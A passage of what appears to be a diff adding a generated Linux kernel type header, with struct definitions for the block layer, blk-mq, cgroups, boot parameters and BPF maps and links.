blake2s_state { + u32 h[8]; + u32 t[2]; + u32 f[2]; + u8 buf[64]; + unsigned int buflen; + unsigned int outlen; +}; + +struct blk_crypto_config { + enum blk_crypto_mode_num crypto_mode; + unsigned int data_unit_size; + unsigned int dun_bytes; +}; + +struct blk_crypto_key { + struct blk_crypto_config crypto_cfg; + unsigned int data_unit_size_bits; + unsigned int size; + u8 raw[64]; +}; + +struct blk_crypto_profile; + +struct blk_crypto_ll_ops { + int (*keyslot_program)(struct blk_crypto_profile *, const struct blk_crypto_key *, unsigned int); + int (*keyslot_evict)(struct blk_crypto_profile *, const struct blk_crypto_key *, unsigned int); +}; + +struct blk_crypto_keyslot; + +struct blk_crypto_profile { + struct blk_crypto_ll_ops ll_ops; + unsigned int max_dun_bytes_supported; + unsigned int modes_supported[5]; + struct device *dev; + unsigned int num_slots; + struct rw_semaphore lock; + struct lock_class_key lockdep_key; + wait_queue_head_t idle_slots_wait_queue; + struct list_head idle_slots; + spinlock_t idle_slots_lock; + struct hlist_head *slot_hashtable; + unsigned int log_slot_ht_size; + struct blk_crypto_keyslot *slots; +}; + +struct blk_expired_data { + bool has_timedout_rq; + unsigned long next; + unsigned long timeout_start; +}; + +struct blk_flush_queue { + spinlock_t mq_flush_lock; + unsigned int flush_pending_idx: 1; + unsigned int flush_running_idx: 1; + blk_status_t rq_status; + unsigned long flush_pending_since; + struct list_head flush_queue[2]; + unsigned long flush_data_in_flight; + struct request *flush_rq; +}; + +struct blk_holder_ops { + void (*mark_dead)(struct block_device *, bool); + void (*sync)(struct block_device *); + int (*freeze)(struct block_device *); + int (*thaw)(struct block_device *); +}; + +struct blk_ia_range_sysfs_entry { + struct attribute attr; + ssize_t (*show)(struct blk_independent_access_range *, char *); +}; + +struct blk_independent_access_ranges { + struct kobject kobj; + bool sysfs_registered; + unsigned int nr_ia_ranges; + struct blk_independent_access_range ia_range[0]; +}; + +struct blk_integrity { + unsigned char flags; + enum blk_integrity_checksum csum_type; + unsigned char tuple_size; + unsigned char pi_offset; + unsigned char interval_exp; + unsigned char tag_size; +}; + +struct blk_io_trace { + __u32 magic; + __u32 sequence; + __u64 time; + __u64 sector; + __u32 bytes; + __u32 action; + __u32 pid; + __u32 device; + __u32 cpu; + __u16 error; + __u16 pdu_len; +}; + +struct blk_io_trace_remap { + __be32 device_from; + __be32 device_to; + __be64 sector_from; +}; + +struct rq_qos_ops; + +struct rq_qos { + const struct rq_qos_ops *ops; + struct gendisk *disk; + enum rq_qos_id id; + struct rq_qos *next; + struct dentry *debugfs_dir; +}; + +struct blk_iolatency { + struct rq_qos rqos; + struct timer_list timer; + bool enabled; + atomic_t enable_cnt; + struct work_struct enable_work; +}; + +struct blk_iou_cmd { + int res; + bool nowait; +}; + +struct blk_major_name { + struct blk_major_name *next; + int major; + char name[16]; + void (*probe)(dev_t); +}; + +struct blk_mq_ctx; + +struct blk_mq_hw_ctx; + +struct blk_mq_alloc_data { + struct request_queue *q; + blk_mq_req_flags_t flags; + unsigned int shallow_depth; + blk_opf_t cmd_flags; + req_flags_t rq_flags; + unsigned int nr_tags; + struct request **cached_rq; + struct blk_mq_ctx *ctx; + struct blk_mq_hw_ctx *hctx; +}; + +struct blk_mq_ctxs; + +struct blk_mq_ctx { + struct { + spinlock_t lock; + struct list_head rq_lists[3]; + long: 64; + long: 64; + }; + unsigned int cpu; + unsigned short index_hw[3]; + struct blk_mq_hw_ctx *hctxs[3]; + struct request_queue *queue; + struct blk_mq_ctxs *ctxs; + struct kobject kobj; + long: 64; +}; + +struct blk_mq_ctxs { + struct kobject kobj; + struct blk_mq_ctx __attribute__((btf_type_tag("percpu"))) *queue_ctx; +}; + +struct seq_operations; + +struct blk_mq_debugfs_attr { + const char *name; + umode_t mode; + int (*show)(void *, struct seq_file *); + ssize_t (*write)(void *, const char __attribute__((btf_type_tag("user"))) *, size_t, loff_t *); + const struct seq_operations *seq_ops; +}; + +struct sbitmap_word; + +struct sbitmap { + unsigned int depth; + unsigned int shift; + unsigned int map_nr; + bool round_robin; + struct sbitmap_word *map; + unsigned int __attribute__((btf_type_tag("percpu"))) *alloc_hint; +}; + +typedef struct wait_queue_entry wait_queue_entry_t; + +struct blk_mq_hw_ctx { + struct { + spinlock_t lock; + struct list_head dispatch; + unsigned long state; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + }; + struct delayed_work run_work; + cpumask_var_t cpumask; + int next_cpu; + int next_cpu_batch; + unsigned long flags; + void *sched_data; + struct request_queue *queue; + struct blk_flush_queue *fq; + void *driver_data; + struct sbitmap ctx_map; + struct blk_mq_ctx *dispatch_from; + unsigned int dispatch_busy; + unsigned short type; + unsigned short nr_ctx; + struct blk_mq_ctx **ctxs; + spinlock_t dispatch_wait_lock; + wait_queue_entry_t dispatch_wait; + atomic_t wait_index; + struct blk_mq_tags *tags; + struct blk_mq_tags *sched_tags; + unsigned int numa_node; + unsigned int queue_num; + atomic_t nr_active; + struct hlist_node cpuhp_online; + struct hlist_node cpuhp_dead; + struct kobject kobj; + struct dentry *debugfs_dir; + struct dentry *sched_debugfs_dir; + struct list_head hctx_list; + long: 64; + long: 64; + long: 64; +}; + +struct blk_mq_hw_ctx_sysfs_entry { + struct attribute attr; + ssize_t (*show)(struct blk_mq_hw_ctx *, char *); +}; + +struct blk_mq_queue_data; + +struct io_comp_batch; + +struct blk_mq_ops { + blk_status_t (*queue_rq)(struct blk_mq_hw_ctx *, const struct blk_mq_queue_data *); + void (*commit_rqs)(struct blk_mq_hw_ctx *); + void (*queue_rqs)(struct request **); + int (*get_budget)(struct request_queue *); + void (*put_budget)(struct request_queue *, int); + void (*set_rq_budget_token)(struct request *, int); + int (*get_rq_budget_token)(struct request *); + enum blk_eh_timer_return (*timeout)(struct request *); + int (*poll)(struct blk_mq_hw_ctx *, struct io_comp_batch *); + void (*complete)(struct request *); + int (*init_hctx)(struct blk_mq_hw_ctx *, void *, unsigned int); + void (*exit_hctx)(struct blk_mq_hw_ctx *, unsigned int); + int (*init_request)(struct blk_mq_tag_set *, struct request *, unsigned int, unsigned int); + void (*exit_request)(struct blk_mq_tag_set *, struct request *, unsigned int); + void (*cleanup_rq)(struct request *); + bool (*busy)(struct request_queue *); + void (*map_queues)(struct blk_mq_tag_set *); + void (*show_rq)(struct seq_file *, struct request *); +}; + +struct elevator_type; + +struct blk_mq_qe_pair { + struct list_head node; + struct request_queue *q; + struct elevator_type *type; +}; + +struct blk_mq_queue_data { + struct request *rq; + bool last; +}; + +struct sbq_wait_state; + +struct sbitmap_queue { + struct sbitmap sb; + unsigned int wake_batch; + atomic_t wake_index; + struct sbq_wait_state *ws; + atomic_t ws_active; + unsigned int min_shallow_depth; + atomic_t completion_cnt; + atomic_t wakeup_cnt; +}; + +struct blk_mq_tags { + unsigned int nr_tags; + unsigned int nr_reserved_tags; + unsigned int active_queues; + struct sbitmap_queue bitmap_tags; + struct sbitmap_queue breserved_tags; + struct request **rqs; + struct request **static_rqs; + struct list_head page_list; + spinlock_t lock; +}; + +struct blk_plug { + struct request *mq_list; + struct request *cached_rq; + u64 cur_ktime; + unsigned short nr_ios; + unsigned short rq_count; + bool multiple_queues; + bool has_elevator; + struct list_head cb_list; +}; + +struct blk_plug_cb; + +typedef void (*blk_plug_cb_fn)(struct blk_plug_cb *, bool); + +struct blk_plug_cb { + struct list_head list; + blk_plug_cb_fn callback; + void *data; +}; + +struct blk_queue_stats { + struct list_head callbacks; + spinlock_t lock; + int accounting; +}; + +struct blk_rq_stat { + u64 mean; + u64 min; + u64 max; + u32 nr_samples; + u64 batch; +}; + +struct blk_rq_wait { + struct completion done; + blk_status_t ret; +}; + +struct blk_stat_callback { + struct list_head list; + struct timer_list timer; + struct blk_rq_stat __attribute__((btf_type_tag("percpu"))) *cpu_stat; + int (*bucket_fn)(const struct request *); + unsigned int buckets; + struct blk_rq_stat *stat; + void (*timer_fn)(struct blk_stat_callback *); + void *data; + struct callback_head rcu; +}; + +struct rchan; + +struct blk_trace { + int trace_state; + struct rchan *rchan; + unsigned long __attribute__((btf_type_tag("percpu"))) *sequence; + unsigned char __attribute__((btf_type_tag("percpu"))) *msg_data; + u16 act_mask; + u64 start_lba; + u64 end_lba; + u32 pid; + u32 dev; + struct dentry *dir; + struct list_head running_list; + atomic_t dropped; +}; + +struct blk_user_trace_setup { + char name[32]; + __u16 act_mask; + __u32 buf_size; + __u32 buf_nr; + __u64 start_lba; + __u64 end_lba; + __u32 pid; +}; + +struct blk_zone { + __u64 start; + __u64 len; + __u64 wp; + __u8 type; + __u8 cond; + __u8 non_seq; + __u8 reset; + __u8 resv[4]; + __u64 capacity; + __u8 reserved[24]; +}; + +struct cgroup_subsys; + +struct cgroup_subsys_state { + struct cgroup *cgroup; + struct cgroup_subsys *ss; + struct percpu_ref refcnt; + struct list_head sibling; + struct list_head children; + struct list_head rstat_css_node; + int id; + unsigned int flags; + u64 serial_nr; + atomic_t online_cnt; + struct work_struct destroy_work; + struct rcu_work destroy_rwork; + struct cgroup_subsys_state *parent; + int nr_descendants; +}; + +struct llist_head; + +struct blkcg { + struct cgroup_subsys_state css; + spinlock_t lock; + refcount_t online_pin; + atomic_t congestion_count; + struct xarray blkg_tree; + struct blkcg_gq __attribute__((btf_type_tag("rcu"))) *blkg_hint; + struct hlist_head blkg_list; + struct blkcg_policy_data *cpd[6]; + struct list_head all_blkcgs_node; + struct llist_head __attribute__((btf_type_tag("percpu"))) *lhead; + struct list_head cgwb_list; +}; + +struct blkg_iostat { + u64 bytes[3]; + u64 ios[3]; +}; + +struct blkg_iostat_set { + struct u64_stats_sync sync; + struct blkcg_gq *blkg; + struct llist_node lnode; + int lqueued; + struct blkg_iostat cur; + struct blkg_iostat last; +}; + +struct blkcg_gq { + struct request_queue *q; + struct list_head q_node; + struct hlist_node blkcg_node; + struct blkcg *blkcg; + struct blkcg_gq *parent; + struct percpu_ref refcnt; + bool online; + struct blkg_iostat_set __attribute__((btf_type_tag("percpu"))) *iostat_cpu; + struct blkg_iostat_set iostat; + struct blkg_policy_data *pd[6]; + spinlock_t async_bio_lock; + struct bio_list async_bios; + union { + struct work_struct async_bio_work; + struct work_struct free_work; + }; + atomic_t use_delay; + atomic64_t delay_nsec; + atomic64_t delay_start; + u64 last_delay; + int last_use; + struct callback_head callback_head; +}; + +typedef struct blkcg_policy_data *blkcg_pol_alloc_cpd_fn(gfp_t); + +typedef void blkcg_pol_free_cpd_fn(struct blkcg_policy_data *); + +typedef struct blkg_policy_data *blkcg_pol_alloc_pd_fn(struct gendisk *, struct blkcg *, gfp_t); + +typedef void blkcg_pol_init_pd_fn(struct blkg_policy_data *); + +typedef void blkcg_pol_online_pd_fn(struct blkg_policy_data *); + +typedef void blkcg_pol_offline_pd_fn(struct blkg_policy_data *); + +typedef void blkcg_pol_free_pd_fn(struct blkg_policy_data *); + +typedef void blkcg_pol_reset_pd_stats_fn(struct blkg_policy_data *); + +typedef void blkcg_pol_stat_pd_fn(struct blkg_policy_data *, struct seq_file *); + +struct cftype; + +struct blkcg_policy { + int plid; + struct cftype *dfl_cftypes; + struct cftype *legacy_cftypes; + blkcg_pol_alloc_cpd_fn *cpd_alloc_fn; + blkcg_pol_free_cpd_fn *cpd_free_fn; + blkcg_pol_alloc_pd_fn *pd_alloc_fn; + blkcg_pol_init_pd_fn *pd_init_fn; + blkcg_pol_online_pd_fn *pd_online_fn; + blkcg_pol_offline_pd_fn *pd_offline_fn; + blkcg_pol_free_pd_fn *pd_free_fn; + blkcg_pol_reset_pd_stats_fn *pd_reset_stats_fn; + blkcg_pol_stat_pd_fn *pd_stat_fn; +}; + +struct blkdev_dio { + union { + struct kiocb *iocb; + struct task_struct *waiter; + }; + size_t size; + atomic_t ref; + unsigned int flags; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct bio bio; + long: 64; +}; + +struct blkg_conf_ctx { + char *input; + char *body; + struct block_device *bdev; + struct blkcg_gq *blkg; +}; + +struct blkg_rwstat_sample { + u64 cnt[5]; +}; + +struct blkpg_ioctl_arg { + int op; + int flags; + int datalen; + void __attribute__((btf_type_tag("user"))) *data; +}; + +struct blkpg_partition { + long long start; + long long length; + int pno; + char devname[64]; + char volname[64]; +}; + +typedef int (*report_zones_cb)(struct blk_zone *, unsigned int, void *); + +struct hd_geometry; + +struct pr_ops; + +struct block_device_operations { + void (*submit_bio)(struct bio *); + int (*poll_bio)(struct bio *, struct io_comp_batch *, unsigned int); + int (*open)(struct gendisk *, blk_mode_t); + void (*release)(struct gendisk *); + int (*ioctl)(struct block_device *, blk_mode_t, unsigned int, unsigned long); + int (*compat_ioctl)(struct block_device *, blk_mode_t, unsigned int, unsigned long); + unsigned int (*check_events)(struct gendisk *, unsigned int); + void (*unlock_native_capacity)(struct gendisk *); + int (*getgeo)(struct block_device *, struct hd_geometry *); + int (*set_read_only)(struct block_device *, bool); + void (*free_disk)(struct gendisk *); + void (*swap_slot_free_notify)(struct block_device *, unsigned long); + int (*report_zones)(struct gendisk *, sector_t, unsigned int, report_zones_cb, void *); + char * (*devnode)(struct gendisk *, umode_t *); + int (*get_unique_id)(struct gendisk *, u8 *, enum blk_unique_id); + struct module *owner; + const struct pr_ops *pr_ops; + int (*alternative_gpt_sector)(struct gendisk *, sector_t *); +}; + +struct blockgroup_lock { + struct bgl_lock locks[128]; +}; + +struct blocking_notifier_head { + struct rw_semaphore rwsem; + struct notifier_block __attribute__((btf_type_tag("rcu"))) *head; +}; + +struct mem_zone_bm_rtree; + +struct rtree_node; + +struct bm_position { + struct mem_zone_bm_rtree *zone; + struct rtree_node *node; + unsigned long node_pfn; + unsigned long cur_pfn; + int node_bit; +}; + +struct boot_e820_entry { + __u64 addr; + __u64 size; + __u32 type; +} __attribute__((packed)); + +struct screen_info { + __u8 orig_x; + __u8 orig_y; + __u16 ext_mem_k; + __u16 orig_video_page; + __u8 orig_video_mode; + __u8 orig_video_cols; + __u8 flags; + __u8 unused2; + __u16 orig_video_ega_bx; + __u16 unused3; + __u8 orig_video_lines; + __u8 orig_video_isVGA; + __u16 orig_video_points; + __u16 lfb_width; + __u16 lfb_height; + __u16 lfb_depth; + __u32 lfb_base; + __u32 lfb_size; + __u16 cl_magic; + __u16 cl_offset; + __u16 lfb_linelength; + __u8 red_size; + __u8 red_pos; + __u8 green_size; + __u8 green_pos; + __u8 blue_size; + __u8 blue_pos; + __u8 rsvd_size; + __u8 rsvd_pos; + __u16 vesapm_seg; + __u16 vesapm_off; + __u16 pages; + __u16 vesa_attributes; + __u32 capabilities; + __u32 ext_lfb_base; + __u8 _reserved[2]; +} __attribute__((packed)); + +struct ist_info { + __u32 signature; + __u32 command; + __u32 event; + __u32 perf_level; +}; + +struct sys_desc_table { + __u16 length; + __u8 table[14]; +}; + +struct olpc_ofw_header { + __u32 ofw_magic; + __u32 ofw_version; + __u32 cif_handler; + __u32 irq_desc_table; +}; + +struct edid_info { + unsigned char dummy[128]; +}; + +struct efi_info { + __u32 efi_loader_signature; + __u32 efi_systab; + __u32 efi_memdesc_size; + __u32 efi_memdesc_version; + __u32 efi_memmap; + __u32 efi_memmap_size; + __u32 efi_systab_hi; + __u32 efi_memmap_hi; +}; + +struct setup_header { + __u8 setup_sects; + __u16 root_flags; + __u32 syssize; + __u16 ram_size; + __u16 vid_mode; + __u16 root_dev; + __u16 boot_flag; + __u16 jump; + __u32 header; + __u16 version; + __u32 realmode_swtch; + __u16 start_sys_seg; + __u16 kernel_version; + __u8 type_of_loader; + __u8 loadflags; + __u16 setup_move_size; + __u32 code32_start; + __u32 ramdisk_image; + __u32 ramdisk_size; + __u32 bootsect_kludge; + __u16 heap_end_ptr; + __u8 ext_loader_ver; + __u8 ext_loader_type; + __u32 cmd_line_ptr; + __u32 initrd_addr_max; + __u32 kernel_alignment; + __u8 relocatable_kernel; + __u8 min_alignment; + __u16 xloadflags; + __u32 cmdline_size; + __u32 hardware_subarch; + __u64 hardware_subarch_data; + __u32 payload_offset; + __u32 payload_length; + __u64 setup_data; + __u64 pref_address; + __u32 init_size; + __u32 handover_offset; + __u32 kernel_info_offset; +} __attribute__((packed)); + +struct edd_device_params { + __u16 length; + __u16 info_flags; + __u32 num_default_cylinders; + __u32 num_default_heads; + __u32 sectors_per_track; + __u64 number_of_sectors; + __u16 bytes_per_sector; + __u32 dpte_ptr; + __u16 key; + __u8 device_path_info_length; + __u8 reserved2; + __u16 reserved3; + __u8 host_bus_type[4]; + __u8 interface_type[8]; + union { + struct { + __u16 base_address; + __u16 reserved1; + __u32 reserved2; + } isa; + struct { + __u8 bus; + __u8 slot; + __u8 function; + __u8 channel; + __u32 reserved; + } pci; + struct { + __u64 reserved; + } ibnd; + struct { + __u64 reserved; + } xprs; + struct { + __u64 reserved; + } htpt; + struct { + __u64 reserved; + } unknown; + } interface_path; + union { + struct { + __u8 device; + __u8 reserved1; + __u16 reserved2; + __u32 reserved3; + __u64 reserved4; + } ata; + struct { + __u8 device; + __u8 lun; + __u8 reserved1; + __u8 reserved2; + __u32 reserved3; + __u64 reserved4; + } atapi; + struct { + __u16 id; + __u64 lun; + __u16 reserved1; + __u32 reserved2; + } __attribute__((packed)) scsi; + struct { + __u64 serial_number; + __u64 reserved; + } usb; + struct { + __u64 eui; + __u64 reserved; + } i1394; + struct { + __u64 wwid; + __u64 lun; + } fibre; + struct { + __u64 identity_tag; + __u64 reserved; + } i2o; + struct { + __u32 array_number; + __u32 reserved1; + __u64 reserved2; + } raid; + struct { + __u8 device; + __u8 reserved1; + __u16 reserved2; + __u32 reserved3; + __u64 reserved4; + } sata; + struct { + __u64 reserved1; + __u64 reserved2; + } unknown; + } device_path; + __u8 reserved4; + __u8 checksum; +} __attribute__((packed)); + +struct edd_info { + __u8 device; + __u8 version; + __u16 interface_support; + __u16 legacy_max_cylinder; + __u8 legacy_max_head; + __u8 legacy_sectors_per_track; + struct edd_device_params params; +}; + +struct boot_params { + struct screen_info screen_info; + struct apm_bios_info apm_bios_info; + __u8 _pad2[4]; + __u64 tboot_addr; + struct ist_info ist_info; + __u64 acpi_rsdp_addr; + __u8 _pad3[8]; + __u8 hd0_info[16]; + __u8 hd1_info[16]; + struct sys_desc_table sys_desc_table; + struct olpc_ofw_header olpc_ofw_header; + __u32 ext_ramdisk_image; + __u32 ext_ramdisk_size; + __u32 ext_cmd_line_ptr; + __u8 _pad4[112]; + __u32 cc_blob_address; + struct edid_info edid_info; + struct efi_info efi_info; + __u32 alt_mem_k; + __u32 scratch; + __u8 e820_entries; + __u8 eddbuf_entries; + __u8 edd_mbr_sig_buf_entries; + __u8 kbd_status; + __u8 secure_boot; + __u8 _pad5[2]; + __u8 sentinel; + __u8 _pad6[1]; + struct setup_header hdr; + __u8 _pad7[36]; + __u32 edd_mbr_sig_buffer[16]; + struct boot_e820_entry e820_table[128]; + __u8 _pad8[48]; + struct edd_info eddbuf[6]; + __u8 _pad9[276]; +}; + +struct boot_params_to_save { + unsigned int start; + unsigned int len; +}; + +struct boot_triggers { + const char *event; + char *trigger; +}; + +struct bp_slots_histogram { + atomic_t count[4]; +}; + +struct bp_cpuinfo { + unsigned int cpu_pinned; + struct bp_slots_histogram tsk_pinned; +}; + +struct text_poke_loc; + +struct bp_patching_desc { + struct text_poke_loc *vec; + int nr_entries; + atomic_t refs; +}; + +struct bpf_active_lock { + void *ptr; + u32 id; +}; + +struct bpf_map_ops; + +struct btf_record; + +struct btf; + +struct obj_cgroup; + +struct btf_type; + +struct bpf_map { + const struct bpf_map_ops *ops; + struct bpf_map *inner_map_meta; + enum bpf_map_type map_type; + u32 key_size; + u32 value_size; + u32 max_entries; + u64 map_extra; + u32 map_flags; + u32 id; + struct btf_record *record; + int numa_node; + u32 btf_key_type_id; + u32 btf_value_type_id; + u32 btf_vmlinux_value_type_id; + struct btf *btf; + struct obj_cgroup *objcg; + char name[16]; + struct mutex freeze_mutex; + atomic64_t refcnt; + atomic64_t usercnt; + union { + struct work_struct work; + struct callback_head rcu; + }; + atomic64_t writecnt; + struct { + const struct btf_type *attach_func_proto; + spinlock_t lock; + enum bpf_prog_type type; + bool jited; + bool xdp_has_frags; + } owner; + bool bypass_spec_v1; + bool frozen; + bool free_after_mult_rcu_gp; + bool free_after_rcu_gp; + atomic64_t sleepable_refcnt; + s64 __attribute__((btf_type_tag("percpu"))) *elem_count; +}; + +typedef struct lockdep_map *lockdep_map_p; + +struct maple_tree { + union { + spinlock_t ma_lock; + lockdep_map_p ma_external_lock; + }; + unsigned int ma_flags; + void __attribute__((btf_type_tag("rcu"))) *ma_root; +}; + +struct vm_struct; + +struct bpf_arena { + struct bpf_map map; + u64 user_vm_start; + u64 user_vm_end; + struct vm_struct *kern_vm; + struct maple_tree mt; + struct list_head vma_list; + struct mutex lock; +}; + +struct bpf_array_aux; + +struct bpf_array { + struct bpf_map map; + u32 elem_size; + u32 index_mask; + struct bpf_array_aux *aux; + union { + struct { + struct {} __empty_value; + char value[0]; + }; + struct { + struct {} __empty_ptrs; + void *ptrs[0]; + }; + struct { + struct {} __empty_pptrs; + void __attribute__((btf_type_tag("percpu"))) *pptrs[0]; + }; + }; +}; + +struct bpf_array_aux { + struct list_head poke_progs; + struct bpf_map *map; + struct mutex poke_mutex; + struct work_struct work; +}; + +struct bpf_prog; + +struct bpf_async_cb { + struct bpf_map *map; + struct bpf_prog *prog; + void __attribute__((btf_type_tag("rcu"))) *callback_fn; + void *value; + union { + struct callback_head rcu; + struct work_struct delete_work; + }; + u64 flags; +}; + +struct bpf_spin_lock { + __u32 val; +}; + +struct bpf_hrtimer; + +struct bpf_work; + +struct bpf_async_kern { + union { + struct bpf_async_cb *cb; + struct bpf_hrtimer *timer; + struct bpf_work *work; + }; + struct bpf_spin_lock lock; +}; + +struct btf_func_model { + u8 ret_size; + u8 ret_flags; + u8 nr_args; + u8 arg_size[12]; + u8 arg_flags[12]; +}; + +struct bpf_attach_target_info { + struct btf_func_model fmodel; + long tgt_addr; + struct module *tgt_mod; + const char *tgt_name; + const struct btf_type *tgt_type; +}; + +union bpf_attr { + struct { + __u32 map_type; + __u32 key_size; + __u32 value_size; + __u32 max_entries; + __u32 map_flags; + __u32 inner_map_fd; + __u32 numa_node; + char map_name[16]; + __u32 map_ifindex; + __u32 btf_fd; + __u32 btf_key_type_id; + __u32 btf_value_type_id; + __u32 btf_vmlinux_value_type_id; + __u64 map_extra; + __s32 value_type_btf_obj_fd; + __s32 map_token_fd; + }; + struct { + __u32 map_fd; + __u64 key; + union { + __u64 value; + __u64 next_key; + }; + __u64 flags; + }; + struct { + __u64 in_batch; + __u64 out_batch; + __u64 keys; + __u64 values; + __u32 count; + __u32 map_fd; + __u64 elem_flags; + __u64 flags; + } batch; + struct { + __u32 prog_type; + __u32 insn_cnt; + __u64 insns; + __u64 license; + __u32 log_level; + __u32 log_size; + __u64 log_buf; + __u32 kern_version; + __u32 prog_flags; + char prog_name[16]; + __u32 prog_ifindex; + __u32 expected_attach_type; + __u32 prog_btf_fd; + __u32 func_info_rec_size; + __u64 func_info; + __u32 func_info_cnt; + __u32 line_info_rec_size; + __u64 line_info; + __u32 line_info_cnt; + __u32 attach_btf_id; + union { + __u32 attach_prog_fd; + __u32 attach_btf_obj_fd; + }; + __u32 core_relo_cnt; + __u64 fd_array; + __u64 core_relos; + __u32 core_relo_rec_size; + __u32 log_true_size; + __s32 prog_token_fd; + }; + struct { + __u64 pathname; + __u32 bpf_fd; + __u32 file_flags; + __s32 path_fd; + }; + struct { + union { + __u32 target_fd; + __u32 target_ifindex; + }; + __u32 attach_bpf_fd; + __u32 attach_type; + __u32 attach_flags; + __u32 replace_bpf_fd; + union { + __u32 relative_fd; + __u32 relative_id; + }; + __u64 expected_revision; + }; + struct { + __u32 prog_fd; + __u32 retval; + __u32 data_size_in; + __u32 data_size_out; + __u64 data_in; + __u64 data_out; + __u32 repeat; + __u32 duration; + __u32 ctx_size_in; + __u32 ctx_size_out; + __u64 ctx_in; + __u64 ctx_out; + __u32 flags; + __u32 cpu; + __u32 batch_size; + } test; + struct { + union { + __u32 start_id; + __u32 prog_id; + __u32 map_id; + __u32 btf_id; + __u32 link_id; + }; + __u32 next_id; + __u32 open_flags; + }; + struct { + __u32 bpf_fd; + __u32 info_len; + __u64 info; + } info; + struct { + union { + __u32 target_fd; + __u32 target_ifindex; + }; + __u32 attach_type; + __u32 query_flags; + __u32 attach_flags; + __u64 prog_ids; + union { + __u32 prog_cnt; + __u32 count; + }; + __u64 prog_attach_flags; + __u64 link_ids; + __u64 link_attach_flags; + __u64 revision; + } query; + struct { + __u64 name; + __u32 prog_fd; + __u64 cookie; + } raw_tracepoint; + struct { + __u64 btf; + __u64 btf_log_buf; + __u32 btf_size; + __u32 btf_log_size; + __u32 btf_log_level; + __u32 btf_log_true_size; + __u32 btf_flags; + __s32 btf_token_fd; + }; + struct { + __u32 pid; + __u32 fd; + __u32 flags; + __u32 buf_len; + __u64 buf; + __u32 prog_id; + __u32 fd_type; + __u64 probe_offset; + __u64 probe_addr; + } task_fd_query; + struct { + union { + __u32 prog_fd; + __u32 map_fd; + }; + union { + __u32 target_fd; + __u32 target_ifindex; + }; + __u32 attach_type; + __u32 flags; + union { + __u32 target_btf_id; + struct { + __u64 iter_info; + __u32 iter_info_len; + }; + struct { + __u64 bpf_cookie; + } perf_event; + struct { + __u32 flags; + __u32 cnt; + __u64 syms; + __u64 addrs; + __u64 cookies; + } kprobe_multi; + struct { + __u32 target_btf_id; + __u64 cookie; + } tracing; + struct { + __u32 pf; + __u32 hooknum; + __s32 priority; + __u32 flags; + } netfilter; + struct { + union { + __u32 relative_fd; + __u32 relative_id; + }; + __u64 expected_revision; + } tcx; + struct { + __u64 path; + __u64 offsets; + __u64 ref_ctr_offsets; + __u64 cookies; + __u32 cnt; + __u32 flags; + __u32 pid; + } uprobe_multi; + struct { + union { + __u32 relative_fd; + __u32 relative_id; + }; + __u64 expected_revision; + } netkit; + }; + } link_create; + struct { + __u32 link_fd; + union { + __u32 new_prog_fd; + __u32 new_map_fd; + }; + __u32 flags; + union { + __u32 old_prog_fd; + __u32 old_map_fd; + }; + } link_update; + struct { + __u32 link_fd; + } link_detach; + struct { + __u32 type; + } enable_stats; + struct { + __u32 link_fd; + __u32 flags; + } iter_create; + struct { + __u32 prog_fd; + __u32 map_fd; + __u32 flags; + } prog_bind_map; + struct { + __u32 flags; + __u32 bpffs_fd; + } token_create; +}; + +struct bpf_binary_header { + u32 size; + long: 0; + u8 image[0]; +}; + +struct bpf_bloom_filter { + struct bpf_map map; + u32 bitset_mask; + u32 hash_seed; + u32 nr_hash_funcs; + unsigned long bitset[0]; +}; + +struct bpf_bprintf_buffers { + char bin_args[512]; + char buf[1024]; +}; + +struct bpf_bprintf_data { + u32 *bin_args; + char *buf; + bool get_bin_args; + bool get_buf; +}; + +struct bpf_btf_info { + __u64 btf; + __u32 btf_size; + __u32 id; + __u64 name; + __u32 name_len; + __u32 kernel_btf; +}; + +struct btf_field; + +struct bpf_call_arg_meta { + struct bpf_map *map_ptr; + bool raw_mode; + bool pkt_access; + u8 release_regno; + int regno; + int access_size; + int mem_size; + u64 msize_max_value; + int ref_obj_id; + int dynptr_id; + int map_uid; + int func_id; + struct btf *btf; + u32 btf_id; + struct btf *ret_btf; + u32 ret_btf_id; + u32 subprogno; + struct btf_field *kptr_field; +}; + +struct bpf_cand_cache { + const char *name; + u32 name_len; + u16 kind; + u16 cnt; + struct { + const struct btf *btf; + u32 id; + } cands[0]; +}; + +struct bpf_run_ctx {}; + +struct bpf_prog_array_item; + +struct bpf_cg_run_ctx { + struct bpf_run_ctx run_ctx; + const struct bpf_prog_array_item *prog_item; + int retval; +}; + +struct bpf_cgroup_dev_ctx { + __u32 access_type; + __u32 major; + __u32 minor; +}; + +struct bpf_link_ops; + +struct bpf_link { + atomic64_t refcnt; + u32 id; + enum bpf_link_type type; + const struct bpf_link_ops *ops; + struct bpf_prog *prog; + union { + struct callback_head rcu; + struct work_struct work; + }; +}; + +struct bpf_cgroup_link { + struct bpf_link link; + struct cgroup *cgroup; + enum bpf_attach_type type; +}; + +struct bpf_cgroup_storage_key { + __u64 cgroup_inode_id; + __u32 attach_type; +}; + +struct bpf_storage_buffer; + +struct bpf_cgroup_storage_map; + +struct bpf_cgroup_storage { + union { + struct bpf_storage_buffer *buf; + void __attribute__((btf_type_tag("percpu"))) *percpu_buf; + }; + struct bpf_cgroup_storage_map *map; + struct bpf_cgroup_storage_key key; + struct list_head list_map; + struct list_head list_cg; + struct rb_node node; + struct callback_head rcu; +}; + +struct bpf_cgroup_storage_map { + struct bpf_map map; + spinlock_t lock; + struct rb_root root; + struct list_head list; +}; + +struct bpf_lru_list { + struct list_head lists[3]; + unsigned int counts[2]; + struct list_head *next_inactive_rotation; + raw_spinlock_t lock; +}; + +struct bpf_lru_locallist; + +struct bpf_common_lru { + struct bpf_lru_list lru_list; + struct bpf_lru_locallist __attribute__((btf_type_tag("percpu"))) *local_list; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct bpf_core_accessor { + __u32 type_id; + __u32 idx; + const char *name; +}; + +struct bpf_core_cand { + const struct btf *btf; + __u32 id; +}; + +struct bpf_core_cand_list { + struct bpf_core_cand *cands; + int len; +}; + +struct bpf_verifier_log; + +struct bpf_core_ctx { + struct bpf_verifier_log *log; + const struct btf *btf; +}; + +struct bpf_core_relo { + __u32 insn_off; + __u32 type_id; + __u32 access_str_off; + enum bpf_core_relo_kind kind; +}; + +struct bpf_core_relo_res { + __u64 orig_val; + __u64 new_val; + bool poison; + bool validate; + bool fail_memsz_adjust; + __u32 orig_sz; + __u32 orig_type_id; + __u32 new_sz; + __u32 new_type_id; +}; + +struct bpf_core_spec { + const struct btf *btf; 